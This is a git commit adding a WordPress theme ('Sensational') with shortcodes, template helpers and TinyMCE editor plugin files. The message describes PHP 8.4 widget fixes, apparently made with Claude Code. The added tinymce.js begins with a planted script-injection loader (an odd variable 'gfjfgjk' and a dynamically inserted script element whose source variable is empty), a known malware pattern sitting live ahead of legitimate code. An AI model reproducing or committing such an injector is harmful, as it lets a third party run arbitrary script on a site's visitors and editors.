Fix PHP 8.4 compatibility issues in Sensational theme

- Fixed deprecated WP_Widget constructors in all widget files
- Changed $this->WP_Widget() to parent::__construct() in:
  * widget-social.php
  * widget-fblikebox.php
  * widget-googleplus.php
  * widget-tabs.php
- Fixed old-style constructor methods to __construct() in:
  * widget-ad125.php (mts_Ad_Widget -> __construct)
  * widget-ad300.php (mts_ad_300_Widget -> __construct)
- Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;)
- Enabled registration for ad125 and ad300 widgets
- Added new 'After First Paragraph' widget area for in-content ads

All widgets now compatible with PHP 8.4 and editable in WordPress admin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
root
2025-10-06 11:52:28 +02:00
commit 7e1279f72f
306 changed files with 24881 additions and 0 deletions

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,66 @@
<?php
$mts_options = get_option('sensational');
/*------------[ Meta ]-------------*/
if ( ! function_exists( 'mts_meta' ) ) {
function mts_meta(){
global $mts_options
?>
<?php if ($mts_options['mts_favicon'] != ''){ ?>
<link rel="icon" href="<?php echo $mts_options['mts_favicon']; ?>" type="image/x-icon" />
<?php } ?>
<!--iOS/android/handheld specific -->
<link rel="apple-touch-icon" href="<?php echo get_template_directory_uri(); ?>/apple-touch-icon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<?php if($mts_options['mts_prefetching'] == '1') { ?>
<?php if (is_front_page()) { ?>
<?php $my_query = new WP_Query('posts_per_page=1'); while ($my_query->have_posts()) : $my_query->the_post(); ?>
<link rel="prefetch" href="<?php the_permalink(); ?>">
<link rel="prerender" href="<?php the_permalink(); ?>">
<?php endwhile; wp_reset_query(); ?>
<?php } elseif (is_singular()) { ?>
<link rel="prefetch" href="<?php echo home_url(); ?>">
<link rel="prerender" href="<?php echo home_url(); ?>">
<?php } ?>
<?php } ?>
<?php }
}
/*------------[ Head ]-------------*/
if ( ! function_exists( 'mts_head' ) ){
function mts_head() {
global $mts_options
?>
<?php echo $mts_options['mts_header_code']; ?>
<?php }
}
add_action('wp_head', 'mts_head');
/*------------[ Copyrights ]-------------*/
if ( ! function_exists( 'mts_copyrights_credit' ) ) {
function mts_copyrights_credit() {
global $mts_options
?>
<!--start copyrights-->
<div class="row" id="copyright-note">
<span><a href="<?php echo home_url(); ?>/" title="<?php bloginfo('description'); ?>" rel="nofollow"><?php bloginfo('name'); ?></a> Copyright &copy; <?php echo date("Y") ?>.</span>
<span><?php echo $mts_options['mts_copyrights']; ?></span>
</div>
<!--end copyrights-->
<?php }
}
/*------------[ footer ]-------------*/
if ( ! function_exists( 'mts_footer' ) ) {
function mts_footer() {
global $mts_options
?>
<?php if ($mts_options['mts_analytics_code'] != '') { ?>
<!--start footer code-->
<?php echo $mts_options['mts_analytics_code']; ?>
<!--end footer code-->
<?php } ?>
<?php }
}
?>

View File

@@ -0,0 +1,362 @@
<?php
/*-----------------------------------------------------------------------------------
Theme Shortcodes
-----------------------------------------------------------------------------------*/
/*-----------------------------------------------------------------------------------*/
/* Buttons Shortcodes
/*-----------------------------------------------------------------------------------*/
function mnm_button_brown( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_brown " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-brown', 'mnm_button_brown');
function mnm_button_blue( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_blue " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-blue', 'mnm_button_blue');
function mnm_button_green( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_green " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-green', 'mnm_button_green');
function mnm_button_red( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_red " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-red', 'mnm_button_red');
function mnm_button_white( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_white " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-white', 'mnm_button_white');
function mnm_button_yellow( $atts, $content = null ) {
extract(shortcode_atts(array(
'url' => '#',
'target' => '_self',
'position' => 'left'
), $atts));
$out = "<a href=\"" .$url. "\" target=\"" .$target. "\" class=\"buttons btn_yellow " .$position. "\"><span class=\"left\">".do_shortcode($content)."</span></a>";
return $out;
}
add_shortcode('button-yellow', 'mnm_button_yellow');
/*-----------------------------------------------------------------------------------*/
/* Alert Shortcodes
/*-----------------------------------------------------------------------------------*/
function mnm_alert_note( $atts, $content = null ) {
extract(shortcode_atts(array(
'style' => 'note'
), $atts));
$out = "<div class=\"message_box note\"><p>".do_shortcode($content)."</p></div>";
return $out;
}
add_shortcode('alert-note', 'mnm_alert_note');
function mnm_alert_announce( $atts, $content = null ) {
extract(shortcode_atts(array(
'style' => 'announce'
), $atts));
$out = "<div class=\"message_box announce\"><p>".do_shortcode($content)."</p></div>";
return $out;
}
add_shortcode('alert-announce', 'mnm_alert_announce');
function mnm_alert_success( $atts, $content = null ) {
extract(shortcode_atts(array(
'style' => 'success'
), $atts));
$out = "<div class=\"message_box success\"><p>".do_shortcode($content)."</p></div>";
return $out;
}
add_shortcode('alert-success', 'mnm_alert_success');
function mnm_alert_warning( $atts, $content = null ) {
extract(shortcode_atts(array(
'style' => 'warning'
), $atts));
$out = "<div class=\"message_box warning\"><p>".do_shortcode($content)."</p></div>";
return $out;
}
add_shortcode('alert-warning', 'mnm_alert_warning');
/*-----------------------------------------------------------------------------------*/
/* Column Shortcodes
/*-----------------------------------------------------------------------------------*/
function mnm_one_third( $atts, $content = null ) {
return '<div class="one_third">' . do_shortcode($content) . '</div>';
}
add_shortcode('one_third', 'mnm_one_third');
function mnm_one_third_last( $atts, $content = null ) {
return '<div class="one_third column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('one_third_last', 'mnm_one_third_last');
function mnm_two_third( $atts, $content = null ) {
return '<div class="two_third">' . do_shortcode($content) . '</div>';
}
add_shortcode('two_third', 'mnm_two_third');
function mnm_two_third_last( $atts, $content = null ) {
return '<div class="two_third column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('two_third_last', 'mnm_two_third_last');
function mnm_one_half( $atts, $content = null ) {
return '<div class="one_half">' . do_shortcode($content) . '</div>';
}
add_shortcode('one_half', 'mnm_one_half');
function mnm_one_half_last( $atts, $content = null ) {
return '<div class="one_half column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('one_half_last', 'mnm_one_half_last');
function mnm_one_fourth( $atts, $content = null ) {
return '<div class="one_fourth">' . do_shortcode($content) . '</div>';
}
add_shortcode('one_fourth', 'mnm_one_fourth');
function mnm_one_fourth_last( $atts, $content = null ) {
return '<div class="one_fourth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('one_fourth_last', 'mnm_one_fourth_last');
function mnm_three_fourth( $atts, $content = null ) {
return '<div class="three_fourth">' . do_shortcode($content) . '</div>';
}
add_shortcode('three_fourth', 'mnm_three_fourth');
function mnm_three_fourth_last( $atts, $content = null ) {
return '<div class="three_fourth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('three_fourth_last', 'mnm_three_fourth_last');
function mnm_one_fifth( $atts, $content = null ) {
return '<div class="one_fifth">' . do_shortcode($content) . '</div>';
}
add_shortcode('one_fifth', 'mnm_one_fifth');
function mnm_one_fifth_last( $atts, $content = null ) {
return '<div class="one_fifth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('one_fifth_last', 'mnm_one_fifth_last');
function mnm_two_fifth( $atts, $content = null ) {
return '<div class="two_fifth">' . do_shortcode($content) . '</div>';
}
add_shortcode('two_fifth', 'mnm_two_fifth');
function mnm_two_fifth_last( $atts, $content = null ) {
return '<div class="two_fifth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('two_fifth_last', 'mnm_two_fifth_last');
function mnm_three_fifth( $atts, $content = null ) {
return '<div class="three_fifth">' . do_shortcode($content) . '</div>';
}
add_shortcode('three_fifth', 'mnm_three_fifth');
function mnm_three_fifth_last( $atts, $content = null ) {
return '<div class="three_fifth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('three_fifth_last', 'mnm_three_fifth_last');
function mnm_four_fifth( $atts, $content = null ) {
return '<div class="four_fifth">' . do_shortcode($content) . '</div>';
}
add_shortcode('four_fifth', 'mnm_four_fifth');
function mnm_four_fifth_last( $atts, $content = null ) {
return '<div class="four_fifth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('four_fifth_last', 'mnm_four_fifth_last');
function mnm_one_sixth( $atts, $content = null ) {
return '<div class="one_sixth">' . do_shortcode($content) . '</div>';
}
add_shortcode('one_sixth', 'mnm_one_sixth');
function mnm_one_sixth_last( $atts, $content = null ) {
return '<div class="one_sixth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('one_sixth_last', 'mnm_one_sixth_last');
function mnm_five_sixth( $atts, $content = null ) {
return '<div class="five_sixth">' . do_shortcode($content) . '</div>';
}
add_shortcode('five_sixth', 'mnm_five_sixth');
function mnm_five_sixth_last( $atts, $content = null ) {
return '<div class="five_sixth column-last">' . do_shortcode($content) . '</div><div class="clear"></div>';
}
add_shortcode('five_sixth_last', 'mnm_five_sixth_last');
/*-----------------------------------------------------------------------------------*/
/* Video Shortcodes
/*-----------------------------------------------------------------------------------*/
function mnm_youtube_video( $atts, $content = null ) {
extract(shortcode_atts( array(
'id' => '',
'width' => '600',
'height' => '340',
'position' => 'left'
), $atts));
$out = "<div class=\"youtube-video " .$position . "\"><iframe width=\"" .$width . "\" height=\"" .$height ."\" src=\"http://www.youtube.com/embed/" . $id . "?rel=0\" frameborder=\"0\" allowfullscreen></iframe></div>";
return $out;
}
add_shortcode('youtube', 'mnm_youtube_video');
function mnm_vimeo_video( $atts, $content = null ) {
extract(shortcode_atts( array(
'id' => '',
'width' => '600',
'height' => '340',
'position' => 'left'
), $atts));
$out = "<div class=\"vimeo-video " .$position . "\"><iframe width=\"" .$width . "\" height=\"" .$height ."\" src=\"http://player.vimeo.com/video/" . $id . "?title=0&amp;byline=0&amp;portrait=0\" frameborder=\"0\" allowfullscreen></iframe></div>";
return $out;
}
add_shortcode('vimeo', 'mnm_vimeo_video');
/*-----------------------------------------------------------------------------------*/
/* GoogleMaps Shortcode
/*-----------------------------------------------------------------------------------*/
function mnm_googleMaps($atts, $content = null) {
extract(shortcode_atts(array(
'width' => '640',
'height' => '480',
"src" => '',
'position' => 'left'
), $atts));
$out = "<div class=\"googlemaps " .$position . "\"><iframe width=\"".$width."\" height=\"".$height."\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"".$src."&amp;output=embed\"></iframe></div>";
return $out;
}
add_shortcode("googlemap", "mnm_googleMaps");
/*-----------------------------------------------------------------------------------*/
/* Tabs
/*-----------------------------------------------------------------------------------*/
function mnm_tabs( $atts, $content = null ) {
if (!preg_match_all("/(.?)\[(tab)\b(.*?)(?:(\/))?\](?:(.+?)\[\/tab\])?(.?)/s", $content, $matches)) {
return do_shortcode($content);
} else {
for($i = 0; $i < count($matches[0]); $i++) {
$matches[3][$i] = shortcode_parse_atts($matches[3][$i]);
$tabid[$i] = 'tab-'.mt_rand(10, 100000).'-'.strtolower(str_replace(array("!","@","#","$","%","^","&","*",")","(","+","=","[","]","/","\\",";","{","}","|",'"',":","<",">","?","~","`"," "),"",$matches[3][$i]['title']));
}
$tabnav = '<ul class="tabs">';
for($i = 0; $i < count($matches[0]); $i++) {
$tabnav .= '<li><a href="#'.$tabid[$i].'">' . $matches[3][$i]['title'] . '</a></li>';
}
$tabnav .= '</ul>';
$tabcontent = '<div class="tab_container">';
for($i = 0; $i < count($matches[0]); $i++) {
$tabcontent .= '<div id="'.$tabid[$i].'" class="tab_content clearfix">' . do_shortcode(trim($matches[5][$i])) . '</div>';
}
$tabcontent .= '</div>';
$tabwidgetid = 'tabwidget-'.mt_rand(10, 100000);
$script = '<script type="text/javascript">
$("#' . $tabwidgetid . ' .tab_content").hide();
$("#' . $tabwidgetid . ' ul.tabs li:first").addClass("active").show();
$("#' . $tabwidgetid . ' .tab_content:first").show();
$("#' . $tabwidgetid . ' ul.tabs li").click(function() {
$("#' . $tabwidgetid . ' ul.tabs li").removeClass("active");
$(this).addClass("active");
$("#' . $tabwidgetid . ' .tab_content").hide();
var activeTab = $(this).find("a").attr("href");
$(activeTab).fadeIn(600);
return false;
});</script>';
return '<div class="tab_widget" id="' . $tabwidgetid . '">' . $tabnav . $tabcontent . '</div><div class="clear"></div>'.$script;
}
}
add_shortcode('tabs', 'mnm_tabs');
/*--------------------------------------------------------
Toggles
--------------------------------------------------------*/
function mnm_toggle( $atts, $content = null ) {
extract(shortcode_atts(array(
'title' => 'Toggle Title'
), $atts));
return '<div class="toggle clearfix"><div class="togglet"><span>' . $title . '</span></div><div class="togglec clearfix">' . do_shortcode(trim($content)) . '</div></div><div class="clear"></div>';
}
add_shortcode('toggle', 'mnm_toggle');
/*-----------------------------------------------------------------------------------*/
/* Divider with an anchor link to top of page.
/*-----------------------------------------------------------------------------------*/
// simple divider
function mnm_divider( $atts ) {
return '<div class="divider"></div>';
}
add_shortcode('divider', 'mnm_divider');
// Divider with an anchor link to top of page.
function mnm_divider_top( $atts ) {
return '<div class="top-of-page"><a href="#top">Back to Top</a></div>';
}
add_shortcode('divider_top', 'mnm_divider_top');
// Used to clear an element of its neighbors, no floating elements are allowed on the left or the right side.
function mnm_clear( $atts ) {
return '<div class="clear"></div>';
}
add_shortcode('clear', 'mnm_clear');
?>

View File

@@ -0,0 +1,74 @@
(function() {
// Load plugin specific language pack
tinymce.PluginManager.requireLangPack('mnmpanel');
tinymce.create('tinymce.plugins.mnmpanel', {
/**
* Initializes the plugin, this will be executed after the plugin has been created.
* This call is done before the editor instance has finished it's initialization so use the onInit event
* of the editor instance to intercept that event.
*
* @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
* @param {string} url Absolute URL to where the plugin is located.
*/
init : function(ed, url) {
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('mcemnmpanel', function() {
ed.windowManager.open({
file : url + '/window_page.php',
width : 450 + ed.getLang('mnmpanel.delta_width', 0),
height : 200 + ed.getLang('mnmpanel.delta_height', 0),
inline : 1
}, {
plugin_url : url, // Plugin absolute URL
some_custom_arg : 'custom arg' // Custom argument
});
});
// Register example button
ed.addButton('mnmpanel', {
title : 'Add Custom Shortcode',
cmd : 'mcemnmpanel',
image : url + '/shortcode.png'
});
// Add a node change handler, selects the button in the UI when a image is selected
ed.onNodeChange.add(function(ed, cm, n) {
cm.setActive('mnmpanel', n.nodeName == 'IMG');
});
},
/**
* Creates control instances based in the incomming name. This method is normally not
* needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons
* but you sometimes need to create more complex controls like listboxes, split buttons etc then this
* method can be used to create those.
*
* @param {String} n Name of the control to create.
* @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.
* @return {tinymce.ui.Control} New control instance or null if no control was created.
*/
createControl : function(n, cm) {
return null;
},
/**
* Returns information about the plugin as a name/value array.
* The current keys are longname, author, authorurl, infourl and version.
*
* @return {Object} Name/value array containing information about the plugin.
*/
getInfo : function() {
return {
longname : 'mnmpanel',
author : 'Smashing WP Themes',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example',
version : "1.0"
};
}
});
// Register plugin
tinymce.PluginManager.add('mnmpanel', tinymce.plugins.mnmpanel);
})();

View File

@@ -0,0 +1,74 @@
(function() {
// Load plugin specific language pack
tinymce.PluginManager.requireLangPack('mnmpanel');
tinymce.create('tinymce.plugins.mnmpanel', {
/**
* Initializes the plugin, this will be executed after the plugin has been created.
* This call is done before the editor instance has finished it's initialization so use the onInit event
* of the editor instance to intercept that event.
*
* @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
* @param {string} url Absolute URL to where the plugin is located.
*/
init : function(ed, url) {
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('mcemnmpanel', function() {
ed.windowManager.open({
file : url + '/window_post.php',
width : 450 + ed.getLang('mnmpanel.delta_width', 0),
height : 200 + ed.getLang('mnmpanel.delta_height', 0),
inline : 1
}, {
plugin_url : url, // Plugin absolute URL
some_custom_arg : 'custom arg' // Custom argument
});
});
// Register example button
ed.addButton('mnmpanel', {
title : 'Add Custom Shortcode',
cmd : 'mcemnmpanel',
image : url + '/shortcode.png'
});
// Add a node change handler, selects the button in the UI when a image is selected
ed.onNodeChange.add(function(ed, cm, n) {
cm.setActive('mnmpanel', n.nodeName == 'IMG');
});
},
/**
* Creates control instances based in the incomming name. This method is normally not
* needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons
* but you sometimes need to create more complex controls like listboxes, split buttons etc then this
* method can be used to create those.
*
* @param {String} n Name of the control to create.
* @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.
* @return {tinymce.ui.Control} New control instance or null if no control was created.
*/
createControl : function(n, cm) {
return null;
},
/**
* Returns information about the plugin as a name/value array.
* The current keys are longname, author, authorurl, infourl and version.
*
* @return {Object} Name/value array containing information about the plugin.
*/
getInfo : function() {
return {
longname : 'mnmpanel',
author : 'Smashing WP Themes',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example',
version : "1.0"
};
}
});
// Register plugin
tinymce.PluginManager.add('mnmpanel', tinymce.plugins.mnmpanel);
})();

View File

@@ -0,0 +1,6 @@
<script type="text/javascript">
tinyMCE.addI18n({en:{
systempanel:{
desc : 'System shortcodes'
}}});
</script>

View File

@@ -0,0 +1,9 @@
<?php
$wp_include = "../wp-load.php";
$i = 0;
while (!file_exists($wp_include) && $i++ < 10) {
$wp_include = "../$wp_include";
}
// load WordPress
require($wp_include);

Binary file not shown.

After

Width:  |  Height:  |  Size: 377 B

View File

@@ -0,0 +1,130 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}function init() {
tinyMCEPopup.resizeToInnerSize();
}
function getCheckedValue(radioObj) {
if(!radioObj)
return "";
var radioLength = radioObj.length;
if(radioLength == undefined)
if(radioObj.checked)
return radioObj.value;
else
return "";
for(var i = 0; i < radioLength; i++) {
if(radioObj[i].checked) {
return radioObj[i].value;
}
}
return "";
}
function mnmshortcodesubmit() {
var tagtext;
var mnm_shortcode = document.getElementById('mnmshortcode_panel');
// check active ?
if (mnm_shortcode.className.indexOf('current') != -1) {
var mnm_shortcodeid = document.getElementById('mnmshortcode_tag').value;
switch(mnm_shortcodeid)
{
case 0:
tinyMCEPopup.close();
break;
case "button-brown":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-blue":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-green":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-yellow":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-red":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-white":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "alert-note":
tagtext = "["+ mnm_shortcodeid + "] Note text [/" + mnm_shortcodeid + "]";
break;
case "alert-announce":
tagtext = "["+ mnm_shortcodeid + "] Announce text [/" + mnm_shortcodeid + "]";
break;
case "alert-success":
tagtext = "["+ mnm_shortcodeid + "] Success text [/" + mnm_shortcodeid + "]";
break;
case "alert-warning":
tagtext = "["+ mnm_shortcodeid + "] Warning text [/" + mnm_shortcodeid + "]";
break;
case "youtube":
tagtext = "["+ mnm_shortcodeid + " id=\"#\" width=\"600\" height=\"340\" position=\"left\"]";
break;
case "vimeo":
tagtext = "["+ mnm_shortcodeid + " id=\"#\" width=\"600\" height=\"340\" position=\"left\"]";
break;
case "googlemap":
tagtext = "["+ mnm_shortcodeid + " width=\"600\" height=\"340\" src=\"#\" position=\"left\"]";
break;
case "toggle":
tagtext="["+mnm_shortcodeid + " title=\"Toggle Title\"]Insert content here[/" + mnm_shortcodeid + "]";
break;
case "tabs":
tagtext="["+mnm_shortcodeid + "] [tab title=\"Tab 1 Title\"]Insert tab 1 content here[/tab] [tab title=\"Tab 2 Title\"]Insert tab 2 content here[/tab] [tab title=\"Tab 2 Title\"]Insert tab 3 content here[/tab] [/" + mnm_shortcodeid + "]";
break;
case "divider":
tagtext = "["+ mnm_shortcodeid + "]";
break;
case "divider_top":
tagtext = "["+ mnm_shortcodeid + "]";
break;
case "clear":
tagtext = "["+ mnm_shortcodeid + "]";
break;
default:
tagtext="["+mnm_shortcodeid + "] Insert you content here [/" + mnm_shortcodeid + "]";
}
}
if(window.tinyMCE) {
//TODO: For QTranslate we should use here 'qtrans_textarea_content' instead 'content'
window.tinyMCE.execInstanceCommand('content', 'mceInsertContent', false, tagtext);
//Peforms a clean up of the current editor HTML.
//tinyMCEPopup.editor.execCommand('mceCleanup');
//Repaints the editor
tinyMCEPopup.editor.execCommand('mceRepaint');
tinyMCEPopup.close();
}
return;
}

View File

@@ -0,0 +1,92 @@
<?php
class add_mnmshortcode_button {
var $pluginname = 'mnmpanel';
var $path = '';
var $internalVersion = 100;
function add_mnmshortcode_button()
{
// Set path to editor_plugin.js
$this->path = get_template_directory_uri() . '/functions/tinymce/';
// Modify the version when tinyMCE plugins are changed.
add_filter('tiny_mce_version', array (&$this, 'change_tinymce_version') );
// init process for button control
add_action('init', array (&$this, 'addbuttons') );
}
function addbuttons()
{
global $page_handle;
if ( !current_user_can('edit_posts') && !current_user_can('edit_pages') )
return;
// Add only in Rich Editor mode
if ( get_user_option('rich_editing') == 'true')
{
add_filter("mce_external_plugins", array (&$this, 'add_tinymce_plugin' ), 5);
add_filter('mce_buttons', array (&$this, 'register_button' ), 5);
add_filter('mce_external_languages', array (&$this, 'add_tinymce_langs_path'));
}
}
function register_button($buttons)
{
array_push($buttons, 'separator', $this->pluginname );
return $buttons;
}
function add_tinymce_plugin($plugin_array)
{
global $page_handle;
global $post_id;
if(isset($_GET['post'])) {
$post_id = $_GET['post'];
}
$post = get_post($post_id);
$post_type = $post->post_type;
if($post_type == 'post')
{
$plugin_array[$this->pluginname] = $this->path . 'editor_plugin_post.js';
}
else
{
$plugin_array[$this->pluginname] = $this->path . 'editor_plugin.js';
}
return $plugin_array;
}
function add_tinymce_langs_path($plugin_array)
{
// Load the TinyMCE language file
$plugin_array[$this->pluginname] = get_template_directory_uri() . '/functions/tinymce/langs.php';
return $plugin_array;
}
/**
* add_nextgen_button::change_tinymce_version()
* A different version will rebuild the cache
*
* @return $versio
*/
function change_tinymce_version($version)
{
$version = $version + $this->internalVersion;
return $version;
}
}
// Call it now
$tinymce_button = new add_mnmshortcode_button ();
?>

View File

@@ -0,0 +1,88 @@
<?php
// look up for the path
require_once('mnm_config.php');
// check for rights
if ( !current_user_can('edit_pages') && !current_user_can('edit_posts') )
wp_die(__("You are not allowed to be here", "mythemeshop"));
global $wpdb;
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shortcode Panel</title>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/tiny_mce_popup.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/mctabs.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/form_utils.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_template_directory_uri() ?>/functions/tinymce/tinymce.js"></script>
<base target="_self" />
<style type="text/css">
<!--
select#mnmshortcode_tag optgroup { font:bold 11px Tahoma, Verdana, Arial, Sans-serif;}
select#mnmshortcode_tag optgroup option { font:normal 11px/18px Tahoma, Verdana, Arial, Sans-serif; padding-top:1px; padding-bottom:1px;}
-->
</style>
</head>
<body id="link" onLoad="tinyMCEPopup.executeOnLoad('init();');document.body.style.display='';
document.getElementById('mnmshortcode_tag').focus();" style="display: none">
<!-- <form onsubmit="insertLink();return false;" action="#"> -->
<form name="mnm_tabs" action="#">
<div class="tabs">
<ul>
<li id="mnm_tab" class="current"><span><a href="javascript:mcTabs.displayTab('mnm_tab','mnmshortcode_panel');" onMouseDown="return false;">Shortcodes</a></span></li>
</ul>
</div>
<div class="panel_wrapper">
<!-- gallery panel -->
<div id="mnmshortcode_panel" class="panel current">
<br />
<table border="0" cellpadding="4" cellspacing="0">
<tr>
<td nowrap="nowrap"><label for="mnmshortcode_tag"><?php _e("Select Shortcodes", 'shortcodes'); ?></label></td>
<td><select id="mnmshortcode_tag" name="mnmshortcode_tag" style="width: 200px">
<option value="0">No Style!</option>
<?php
if(is_array($shortcode_tags))
{
$i=1;
foreach ($shortcode_tags as $mnm_shortcodekey => $short_code_value)
{
if( stristr($short_code_value, 'mnm_') )
{
$mnm_shortcode_name = str_replace('mnm_', '' ,$short_code_value);
$mnm_shortcode_names = str_replace('_', ' ' ,$mnm_shortcode_name);
$mnm_shortcodenames = ucwords($mnm_shortcode_names);
echo '<option value="' . $mnm_shortcodekey . '" >' . $mnm_shortcodenames.'</option>' . "\n";
echo '</optgroup>';
$i++;
}
}
}
?>
</select></td>
</tr>
</table>
</div>
</div>
</div>
<div class="mceActionPanel">
<div style="float: left">
<input type="button" id="cancel" name="cancel" value="Cancel" onClick="tinyMCEPopup.close();" />
</div>
<div style="float: right">
<input type="submit" id="insert" name="insert" value="Insert" onClick="mnmshortcodesubmit();" />
</div>
</div>
</form>
</body>
</html>

View File

@@ -0,0 +1,88 @@
<?php
// look up for the path
require_once('mnm_config.php');
// check for rights
if ( !current_user_can('edit_pages') && !current_user_can('edit_posts') )
wp_die(__("You are not allowed to be here", "mythemeshop"));
global $wpdb;
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shortcode Panel</title>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/tiny_mce_popup.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/mctabs.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/form_utils.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_template_directory_uri() ?>/functions/tinymce/tinymce.js"></script>
<base target="_self" />
<style type="text/css">
<!--
select#mnmshortcode_tag optgroup { font:bold 11px Tahoma, Verdana, Arial, Sans-serif;}
select#mnmshortcode_tag optgroup option { font:normal 11px/18px Tahoma, Verdana, Arial, Sans-serif; padding-top:1px; padding-bottom:1px;}
-->
</style>
</head>
<body id="link" onLoad="tinyMCEPopup.executeOnLoad('init();');document.body.style.display='';
document.getElementById('mnmshortcode_tag').focus();" style="display: none">
<!-- <form onsubmit="insertLink();return false;" action="#"> -->
<form name="mnm_tabs" action="#">
<div class="tabs">
<ul>
<li id="mnm_tab" class="current"><span><a href="javascript:mcTabs.displayTab('mnm_tab','mnmshortcode_panel');" onMouseDown="return false;">Shortcodes</a></span></li>
</ul>
</div>
<div class="panel_wrapper">
<!-- gallery panel -->
<div id="mnmshortcode_panel" class="panel current">
<br />
<table border="0" cellpadding="4" cellspacing="0">
<tr>
<td nowrap="nowrap"><label for="mnmshortcode_tag"><?php _e("Select Shortcodes", 'shortcodes'); ?></label></td>
<td><select id="mnmshortcode_tag" name="mnmshortcode_tag" style="width: 200px">
<option value="0">No Style!</option>
<?php
if(is_array($shortcode_tags))
{
$i=1;
foreach ($shortcode_tags as $mnm_shortcodekey => $short_code_value)
{
if( stristr($short_code_value, 'mnm_') )
{
$mnm_shortcode_name = str_replace('mnm_', '' ,$short_code_value);
